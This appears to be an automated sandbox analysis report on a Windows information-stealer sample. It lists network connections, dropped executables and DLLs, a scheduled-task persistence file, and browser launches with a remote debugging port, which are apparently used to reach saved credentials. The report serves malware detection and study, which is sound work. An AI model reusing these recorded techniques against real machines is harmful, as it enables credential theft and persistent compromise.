Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49825 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name:
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BAC60	0_2_6C5BAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68AC30	0_2_6C68AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676C00	0_2_6C676C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AECC0	0_2_6C5AECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60ECD0	0_2_6C60ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED70	0_2_6C67ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DAD50	0_2_6C6DAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738D20	0_2_6C738D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73CDC0	0_2_6C73CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B4DB0	0_2_6C5B4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646D90	0_2_6C646D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EE70	0_2_6C64EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690E20	0_2_6C690E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BAEC0	0_2_6C5BAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650EC0	0_2_6C650EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636E90	0_2_6C636E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672F70	0_2_6C672F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61EF40	0_2_6C61EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6F10	0_2_6C5B6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0F20	0_2_6C6F0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EFF0	0_2_6C68EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B0FE0	0_2_6C5B0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8FB0	0_2_6C6F8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BEFB0	0_2_6C5BEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684840	0_2_6C684840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600820	0_2_6C600820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A820	0_2_6C63A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B68E0	0_2_6C6B68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8960	0_2_6C5E8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606900	0_2_6C606900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC9E0	0_2_6C6CC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E49F0	0_2_6C5E49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6409A0	0_2_6C6409A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A9A0	0_2_6C66A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709B0	0_2_6C6709B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62CA70	0_2_6C62CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668A30	0_2_6C668A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA00	0_2_6C65EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62EA80	0_2_6C62EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6BE0	0_2_6C6B6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650BA0	0_2_6C650BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8460	0_2_6C5C8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614420	0_2_6C614420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A430	0_2_6C63A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F64D0	0_2_6C5F64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A4D0	0_2_6C64A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DA480	0_2_6C6DA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612560	0_2_6C612560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650570	0_2_6C650570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608540	0_2_6C608540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4540	0_2_6C6B4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8550	0_2_6C6F8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A5E0	0_2_6C67A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E5F0	0_2_6C63E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A45B0	0_2_6C5A45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C650	0_2_6C60C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E6E0	0_2_6C60E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64E6E0	0_2_6C64E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D46D0	0_2_6C5D46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630700	0_2_6C630700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DA7D0	0_2_6C5DA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FE070	0_2_6C5FE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C000	0_2_6C67C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678010	0_2_6C678010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A8090	0_2_6C5A8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68C0B0	0_2_6C68C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C00B0	0_2_6C5C00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618140	0_2_6C618140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626130	0_2_6C626130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694130	0_2_6C694130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B01E0	0_2_6C5B01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638260	0_2_6C638260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648250	0_2_6C648250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688220	0_2_6C688220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A210	0_2_6C67A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7362C0	0_2_6C7362C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6822A0	0_2_6C6822A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E2B0	0_2_6C67E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC360	0_2_6C6CC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646370	0_2_6C646370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8340	0_2_6C5B8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F2370	0_2_6C6F2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B2370	0_2_6C5B2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622320	0_2_6C622320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6043E0	0_2_6C6043E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E3B0	0_2_6C60E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E23A0	0_2_6C5E23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B3C40	0_2_6C5B3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D9C40	0_2_6C6D9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1C30	0_2_6C5C1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671CE0	0_2_6C671CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDCD0	0_2_6C6EDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64FC80	0_2_6C64FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C613D00	0_2_6C613D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681DC0	0_2_6C681DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A3D80	0_2_6C5A3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9D90	0_2_6C6F9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70BE70	0_2_6C70BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C735E60	0_2_6C735E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDE10	0_2_6C6BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3EC0	0_2_6C5D3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C707F20	0_2_6C707F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5F30	0_2_6C5A5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5F20	0_2_6C5E5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BFF0	0_2_6C65BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CDFC0	0_2_6C6CDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C733FC0	0_2_6C733FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1F90	0_2_6C5D1F90
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A678BB	14_2_00A678BB
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A68860	14_2_00A68860
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A67049	14_2_00A67049
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A631A8	14_2_00A631A8
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A24B30	14_2_00A24B30
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A24DE0	14_2_00A24DE0
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A62D10	14_2_00A62D10
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A6779B	14_2_00A6779B
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A57F36	14_2_00A57F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005B7049	15_2_005B7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005B8860	15_2_005B8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005B78BB	15_2_005B78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005B31A8	15_2_005B31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00574B30	15_2_00574B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005B2D10	15_2_005B2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00574DE0	15_2_00574DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005A7F36	15_2_005A7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005B779B	15_2_005B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005B7049	16_2_005B7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005B8860	16_2_005B8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005B78BB	16_2_005B78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005B31A8	16_2_005B31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00574B30	16_2_00574B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005B2D10	16_2_005B2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00574DE0	16_2_00574DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005A7F36	16_2_005A7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005B779B	16_2_005B779B

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5D3620 appears 74 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C73DAE0 appears 59 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5D9B10 appears 75 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6E9F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7309D0 appears 258 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C73D930 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0058DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005880C0 appears 260 times
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: String function: 00A380C0 appears 130 times

Source: file.exe, 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2627928187.000000006F8E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/57@6/9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C610300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C610300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\D140Y625.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2612:120:WilError_03

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2361240358.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226129459.000000001DB49000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHDGDAKFIECFI.0.dr, FBFCGIDAKECGCBGDBAFI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2626847628.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2188,i,6661159212943075951,5732538178884373032,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2460,i,15555307753456093971,14081396310423305561,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2304,i,17772783766471260241,16238618650825771522,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCGHCBKFCF.exe "C:\Users\user\Documents\GCGHCBKFCF.exe"
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2188,i,6661159212943075951,5732538178884373032,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
